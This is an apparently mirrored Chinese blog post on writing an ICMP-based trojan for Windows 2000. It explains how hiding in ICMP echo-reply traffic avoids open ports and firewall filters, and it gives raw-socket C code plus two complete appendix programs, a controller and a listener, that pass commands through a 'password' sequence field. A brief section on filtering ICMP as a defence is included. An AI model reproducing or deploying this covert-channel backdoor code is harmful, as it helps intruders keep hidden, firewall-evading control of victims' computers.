zoukankan      html  css  js  c++  java
  • 基于ICMP的木马的编写

    本文会详细的分析Win2000下一种新型木马的内部构造和防御方法。(本文默认的操作系统为Win2000,开发环境为VC++6.0。) 大家知道,一般的"古典"型木马都是通过建立TCP连接来进行命令和数据的传递的,但是这种方法有一个致命的漏洞, 就是木马在等待和运行的过程中,始终有一个和外界联系的端口打开着,这是木马的阿喀琉斯之踵(参看希腊神话《特洛伊战纪》),也是高手们查找木马的杀手锏 之一(Netstat大法)。所谓道高一尺,魔高一丈,木马也是在斗争中不断进步不断成长的,其中一种ICMP木马就彻底摆脱了端口的束缚,成为黑客入侵后门工具中的佼佼者。 什么是ICMP呢?ICMP全称是Internet Control Message Protocol(互联网控制报文协议)它是IP协议的附属协议,用来传递差错报文以及其他需要注意的消息报文,这个协议常常为TCP或UDP协议服务,但是也可以单独使用,例如著名的工具Ping(向Mike Muuss致敬),就是通过发送接收ICMP_ECHO和ICMP_ECHOREPLY报文来进行网络诊断的。 实际上,ICMP木马的出现正是得到了Ping程序的启发,由于ICMP报文是由系统内核或进程直接处理而不是通过端口,这就给木马一个摆脱端口的绝好 机会,木马将自己伪装成一个Ping的进程,系统就会将ICMP_ECHOREPLY(Ping的回包)的监听、处理权交给木马进程,一旦事先约定好的 ICMP_ECHOREPLY包出现(可以判断包大小、ICMP_SEQ等特征),木马就会接受、分析并从报文中解码出命令和数据。 ICMP_ECHOREPLY包还有对于防火墙和网关的穿透能力。对于防火墙来说,ICMP报文是被列为危险的一类:从Ping of Death到 ICMP风暴到ICMP碎片攻击,构造ICMP报文一向是攻击主机的最好方法之一,因此一般的防火墙都会对ICMP报文进行过滤;但是 ICMP_ECHOREPLY报文却往往不会在过滤策略中出现,这是因为一旦不允许ICMP_ECHOREPLY报文通过就意味着主机没有办法对外进行 Ping的操作,这样对于用户是极其不友好的。如果设置正确,ICMP_ECHOREPLY报文也能穿过网关,进入局域网。 为了实现发送/监听ICMP报文,必须建立SOCK_RAW(原始套接口),首先,我们需要定义一个IP首部: typedef struct iphdr { unsigned int version:4; // IP版本号,4表示IPV4 unsigned int h_len:4; // 4位首部长度 unsigned char tos; // 8位服务类型TOS unsigned short total_len; // 16位总长度(字节) unsigned short ident; //16位标识 unsigned short frag_and_flags; // 3位标志位 unsigned char ttl; //8位生存时间 TTL unsigned char proto; // 8位协议 (TCP, UDP 或其他) unsigned short checksum; // 16位IP首部校验和 unsigned int sourceIP; //32位源IP地址 unsigned int destIP; //32位目的IP地址 }IpHeader; 然后定义一个ICMP首部: typedef struct _ihdr { BYTE i_type; //8位类型 BYTE i_code; //8位代码 USHORT i_cksum; //16位校验和 USHORT i_id; //识别号(一般用进程号作为识别号) USHORT i_seq; //报文序列号 ULONG timestamp; //时间戳 }IcmpHeader; 这时可以同过WSASocket建立一个原始套接口: SockRaw=WSASocket( AF_INET, //协议族 SOCK_RAW, //协议类型,SOCK_RAW表示是原始套接口 IPPROTO_ICMP, //协议,IPPROTO_ICMP表示ICMP数据报 NULL, //WSAPROTOCOL_INFO置空 0, //保留字,永远置为0 WSA_FLAG_OVERLAPPED //标志位 ); 注:为了使用发送接收超时设置(设置SO_RCVTIMEO, SO_SNDTIMEO),必须将标志位置为WSA_FLAG_OVERLAPPED 随后你可以使用fill_icmp_data子程序填充ICMP报文段: fill_icmp_data函数: void fill_icmp_data(char * icmp_data, int datasize) { IcmpHeader *icmp_hdr; char *datapart; icmp_hdr = (IcmpHeader*)icmp_data; icmp_hdr->i_type = ICMP_ECHOREPLY; //类型为ICMP_ECHOREPLY icmp_hdr->i_code = 0; icmp_hdr->i_id = (USHORT)GetCurrentProcessId(); //识别号为进程号 icmp_hdr->i_cksum = 0; //校验和初始化 icmp_hdr->i_seq = 0; //序列号初始化 datapart = icmp_data + sizeof(IcmpHeader); //数据端的地址为icmp报文地址加上ICMP的首部长度 memset(datapart,"A", datasize - sizeof(IcmpHeader)); //这里我填充的数据全部为"A",你可以填充任何代码和数据,实际上木马和控制端之间就是通过数据段传递数据的。 } 再使用CheckSum子程序计算ICMP校验和: 调用方法: ((IcmpHeader*)icmp_data)->i_cksum = checksum((USHORT*)icmp_data, datasize); CheckSum函数: USHORT CheckSum (USHORT *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size -=sizeof(USHORT); } if(size ) cksum += *(UCHAR*)buffer; cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum); }// CheckSum函数是标准的校验和函数,你也可以用优化过的任何校验和函数来代替它 随后,就可以通过sendto函数发送ICMP_ECHOREPLY报文: sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest)); 作为服务端的监听程序,基本的操作相同,只是需要使用recvfrm函数接收ICMP_ECHOREPLY报文并用decoder函数将接收来的报文解码为数据和命令: recv_icmp=recvfrom(sockRaw,recvbuf,MAX_PACKET,0,(struct sockaddr*)&from,&fromlen); decode_resp(recvbuf,recv_icmp,&from); decoder函数: void decoder(char *buf, int bytes,struct sockaddr_in *from) { IpHeader *iphdr; IcmpHeader *icmphdr; unsigned short iphdrlen; iphdr = (IpHeader *)buf; //IP首部的地址就等于buf的地址 iphdrlen = iphdr->h_len * 4 ; // 因为h_len是32位word,要转换成bytes必须*4 icmphdr = (IcmpHeader*)(buf + iphdrlen); //ICMP首部的地址等于IP首部长加buf printf("%d bytes from %s:",bytes, inet_ntoa(from->sin_addr)); //取出源地址 printf(" icmp_id=%d. ",icmphdr->i_id); //取出进程号 printf(" icmp_seq=%d. ",icmphdr->i_seq); //取出序列号 printf(" icmp_type=%d",icmphdr->i_type); //取出类型 printf(" icmp_code=%d",icmphdr->i_code); //取出代码 for(i=0;//取出数据段 } 注:在WIN2000下使用SOCK_RAW需要管理员的权限。 对于ICMP木马,除非你使用嗅探器或者监视windows的SockAPI调用,否则从网络上是很难发现木马的行踪的(关于进程的隐藏及破解会在下一篇文章中进行讨论),那么,有什么可以补救的方法呢?有的,就是过滤ICMP报文,对于win2000可以使用系统自带的路由功能对ICMP协议进行过滤,win2000的Routing & Remote Access 功能十分强大,其中之一就是建立一个TCP/IP协议过滤器:打开Routing & Remote Access,选中机器名,在IP路由 ->General->网卡属性中有两个过滤器-输入过滤和输出过滤,只要在这里将你想过滤的协议制定为策略,ICMP木马就英雄无用武之地 了;不过值得注意的是,一旦在输入过滤器中禁止了ICMP_ECHOREPLY报文,你就别想再用Ping这个工具了;如果过滤了所有的ICMP报文,你 就收不到任何错误报文,当你使用IE访问一个并不存在的网站时,往往要花数倍的时间才能知道结果(嘿嘿,网络不可达、主机不可达、端口不可达报文你一个都收不到),而且基于ICMP协议的tracert工具也会失效,这也是方便和安全之间的矛盾统一了吧。 附录: 1、发送ICMP_ECHOREPLY报文的程序代码 #include <winsock2.h> #include <stdio.h> #include <stdlib.h> #define ICMP_ECHO 8                       //ICMP回显请求报文的类型值为8 #define ICMP_ECHOREPLY 0             //ICMP回显应答报文的类型值为0 #define ICMP_MIN 8                         // ICMP报文的最小长度是8字节(仅为首部) #define ICMP_DEST_IP "127.0.0.1"    //目标主机的IP #define ICMP_PASSWORD 1234        //密码设置,用来识别控制端 // 定义IP 首部 typedef struct iphdr { unsigned int version:4;                        //IP版本号,4表示IPV4 unsigned int h_len:4;                    //4位首部长度 unsigned char tos;                       //8位服务类型TOS unsigned short total_len;        //16位总长度(字节) unsigned short ident;                    //16位标识 unsigned short frag_and_flags;   //3位标志位 unsigned char  ttl;                        //8位生存时间 TTL unsigned char proto;                    //8位协议 (TCP, UDP 或其他) unsigned short checksum;            //16位IP首部校验和 unsigned int sourceIP;                 //32位源IP地址 unsigned int destIP;                         //32位目的IP地址 }IpHeader; // 定义ICMP首部 typedef struct _ihdr { BYTE i_type;                           //8位类型 BYTE i_code;                             //8位代码 USHORT i_cksum;                      //16位校验和 USHORT i_id;                      //识别号(一般用进程号作为识别号) USHORT i_seq;                           //报文序列号 ULONG timestamp;                     //时间戳 }IcmpHeader; #define STATUS_FAILED 0xFFFF #define DEF_PACKET_SIZE 64          //定义报文的大小为64字节 #define MAX_PACKET 6500        //定义最大报文的大小为6500字节 #define xmalloc(s) HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,(s)) #define xfree(p)   HeapFree (GetProcessHeap(),0,(p)) void fill_icmp_data(char *,int);            //填充ICMP报文的子程序 USHORT checksum(USHORT *, int);  //计算校验和的子程序 int main(int argc, char **argv) { WSADATA wsaData; SOCKET sockRaw = (SOCKET)NULL; struct sockaddr_in dest,from; struct hostent * hp; int bread,datasize,retval,bwrote; int fromlen = sizeof(from); int timeout = 1000; char *icmp_data; char *recvbuf; unsigned int addr=0; USHORT seq_no = 0; static int nCount=0; if((retval=WSAStartup(MAKEWORD(2,1),&wsaData)) != 0) {fprintf(stderr,"WSAStartup failed: %d\n",retval);ExitProcess(STATUS_FAILED);} if((sockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET) {fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());ExitProcess(STATUS_FAILED);} __try { if((bread=setsockopt(sockRaw,SOL_SOCKET,SO_RCVTIMEO,(char*)&timeout,sizeof(timeout)))==SOCKET_ERROR) {fprintf(stderr,"Failed to set recv timeout: %d\n",WSAGetLastError());__leave;}      //设置接收超时 if((bread=setsockopt(sockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&timeout,sizeof(timeout)))==SOCKET_ERROR) {fprintf(stderr,"Failed to set send timeout: %d\n",WSAGetLastError());__leave;}     //设置发送超时 memset(&dest,0,sizeof(dest)); dest.sin_family = AF_INET; dest.sin_addr.s_addr = inet_addr(ICMP_DEST_IP); datasize=DEF_PACKET_SIZE; datasize+=sizeof(IcmpHeader); icmp_data=xmalloc(MAX_PACKET); recvbuf=xmalloc(MAX_PACKET); if(!icmp_data) {fprintf(stderr,"HeapAlloc failed %d\n",GetLastError());__leave;} memset(icmp_data,0,MAX_PACKET); printf("\nSend Packet to %s Success!\n",ICMP_DEST_IP); fill_icmp_data(icmp_data,datasize);                           //填充ICMP报文 ((IcmpHeader*)icmp_data)->timestamp = GetTickCount();       //设置时间戳 ((IcmpHeader*)icmp_data)->i_seq = ICMP_PASSWORD;        //设置序列号,实际使用时可以用这个密码验证 ((IcmpHeader*)icmp_data)->i_cksum = checksum((USHORT*)icmp_data, datasize);                   //计算校验和 bwrote=sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest));     //发送报文 if (bwrote == SOCKET_ERROR) { if (WSAGetLastError() == WSAETIMEDOUT) printf("Timed out\n"); fprintf(stderr,"sendto failed: %d\n",WSAGetLastError()); __leave; } if (bwrote < datasize ) fprintf(stdout,"Wrote %d bytes\n",bwrote); } __finally { if (sockRaw != INVALID_SOCKET) closesocket(sockRaw); WSACleanup(); } return 0; } //计算校验和函数 USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size -=sizeof(USHORT); } if(size ) { cksum += *(UCHAR*)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum); } //填充ICMP数据报函数 void fill_icmp_data(char * icmp_data, int datasize) { int i; char SendMsg[20]="Hello World!"; IcmpHeader *icmp_hdr; char *datapart; icmp_hdr = (IcmpHeader*)icmp_data; icmp_hdr->i_type = ICMP_ECHOREPLY; icmp_hdr->i_code = 0; icmp_hdr->i_id = (USHORT) GetCurrentProcessId(); icmp_hdr->i_cksum = 0; icmp_hdr->i_seq = 0; datapart = icmp_data + sizeof(IcmpHeader); for(i=0;i<sizeof(SendMsg);i++) datapart[i]=SendMsg[i]; } 2、接收ICMP_ECHOREPLY报文的程序代码 #include <winsock2.h> #include <stdio.h> #include <stdlib.h> #define ICMP_ECHO 8 #define ICMP_ECHOREPLY 0 #define ICMP_MIN 8 // minimum 8 byte icmp packet (just header) #define ICMP_PASSWORD 1234 /* The IP header */ typedef struct iphdr { unsigned int h_len:4;                    //4位首部长度 unsigned int version:4;                 //IP版本号,4表示IPV4 unsigned char tos;                       //8位服务类型TOS unsigned short total_len;               //16位总长度(字节) unsigned short ident;                    //16位标识 unsigned short frag_and_flags;     //3位标志位 unsigned char  ttl;                        //8位生存时间 TTL unsigned char proto;                    //8位协议 (TCP, UDP 或其他) unsigned short checksum;            //16位IP首部校验和 unsigned int sourceIP;                 //32位源IP地址 unsigned int destIP;                            //32位目的IP地址 }IpHeader; //定义ICMP首部 typedef struct _ihdr { BYTE i_type;                                     //8位类型 BYTE i_code;                                    //8位代码 USHORT i_cksum;                             //16位校验和 USHORT i_id;                             //识别号(一般用进程号作为识别号) USHORT i_seq;                                  //报文序列号 ULONG timestamp;                            //时间戳 }IcmpHeader; #define STATUS_FAILED 0xFFFF #define DEF_PACKET_SIZE 640 #define MAX_PACKET 6500 #define xmalloc(s) HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,(s)) #define xfree(p)   HeapFree (GetProcessHeap(),0,(p)) void fill_icmp_data(char *, int); USHORT checksum(USHORT *, int); void decode_resp(char *,int ,struct sockaddr_in *); int main(int argc, char **argv){ WSADATA wsaData; SOCKET sockRaw = (SOCKET)NULL; struct sockaddr_in dest,from; struct hostent * hp; int bread,datasize,retval; int fromlen = sizeof(from); int timeout = 1000; char *icmp_data; char *recvbuf; unsigned int addr=0; USHORT seq_no = 0; if ((retval = WSAStartup(MAKEWORD(2,1),&wsaData)) != 0){ fprintf(stderr,"WSAStartup failed: %d\n",retval); ExitProcess(STATUS_FAILED); } sockRaw = WSASocket (AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0,WSA_FLAG_OVERLAPPED); if (sockRaw == INVALID_SOCKET) { fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError()); ExitProcess(STATUS_FAILED); } __try{ bread = setsockopt(sockRaw,SOL_SOCKET,SO_RCVTIMEO,(char*)&timeout,sizeof(timeout)); if(bread == SOCKET_ERROR) { fprintf(stderr,"failed to set recv timeout: %d\n",WSAGetLastError()); __leave; } bread = setsockopt(sockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&timeout,sizeof(timeout)); if(bread == SOCKET_ERROR) { fprintf(stderr,"failed to set send timeout: %d\n",WSAGetLastError()); __leave; } memset(&dest,0,sizeof(dest)); dest.sin_family = AF_INET; dest.sin_addr.s_addr = inet_addr("207.46.230.218");//任意IP地址 datasize = DEF_PACKET_SIZE; datasize += sizeof(IcmpHeader); icmp_data = xmalloc(MAX_PACKET); recvbuf = xmalloc(MAX_PACKET); if (!icmp_data) { fprintf(stderr,"HeapAlloc failed %d\n",GetLastError()); __leave; } memset(icmp_data,0,MAX_PACKET); while(1) { static int nCount = 0; int bwrote; fill_icmp_data(icmp_data,datasize); ((IcmpHeader*)icmp_data)->i_cksum = 0; ((IcmpHeader*)icmp_data)->timestamp = GetTickCount(); ((IcmpHeader*)icmp_data)->i_seq = 1111; ((IcmpHeader*)icmp_data)->i_cksum = checksum((USHORT*)icmp_data, datasize); bwrote = sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest)); bread = recvfrom(sockRaw,recvbuf,MAX_PACKET,0,(struct sockaddr*)&from,&fromlen); if (bread == SOCKET_ERROR){ if (WSAGetLastError() == WSAETIMEDOUT) { continue; } fprintf(stderr,"recvfrom failed: %d\n",WSAGetLastError()); __leave; } decode_resp(recvbuf,bread,&from); Sleep(1000); } } __finally { if (sockRaw != INVALID_SOCKET) closesocket(sockRaw); WSACleanup(); } return 0; } void decode_resp(char *buf, int bytes,struct sockaddr_in *from) { int i; IpHeader *iphdr; IcmpHeader *icmphdr; unsigned short iphdrlen; iphdr = (IpHeader *)buf; iphdrlen = iphdr->h_len * 4 ; icmphdr = (IcmpHeader*)(buf + iphdrlen); if(icmphdr->i_seq==ICMP_PASSWORD)//密码正确则输出数据段 { printf("%d bytes from %s:",bytes, inet_ntoa(from->sin_addr)); printf(" IcmpType %d",icmphdr->i_type); printf(" IcmpCode %d",icmphdr->i_code); printf("\n"); for(i=0;i<50;i++) printf("%c",*(buf+iphdrlen+i+12)); } else printf("Other ICMP Packets!\n"); printf("\n"); } USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size -=sizeof(USHORT); } if(size ) { cksum += *(UCHAR*)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum); } void fill_icmp_data(char * icmp_data, int datasize){ IcmpHeader *icmp_hdr; char *datapart; icmp_hdr = (IcmpHeader*)icmp_data; icmp_hdr->i_type = ICMP_ECHO; icmp_hdr->i_code = 0; icmp_hdr->i_id = (USHORT)GetCurrentProcessId(); icmp_hdr->i_cksum = 0; icmp_hdr->i_seq = 12; datapart = icmp_data + sizeof(IcmpHeader); memset(datapart,'A', datasize - sizeof(IcmpHeader));
  • 相关阅读:
    Centos7下永久修改mysql5.6最大连接数
    关于Linux fontconfig 字体库的坑
    回收maven私仓过期垃圾数据
    conda python虚拟环境
    小程序分享H5页面
    会看以前的邮箱
    快乐的小程序
    和运营开会的知道的一些点
    V-Distpicker不能完整显示内容
    VUE随手记坑
  • 原文地址:https://www.cnblogs.com/adodo1/p/4327069.html
Copyright © 2011-2022 走看看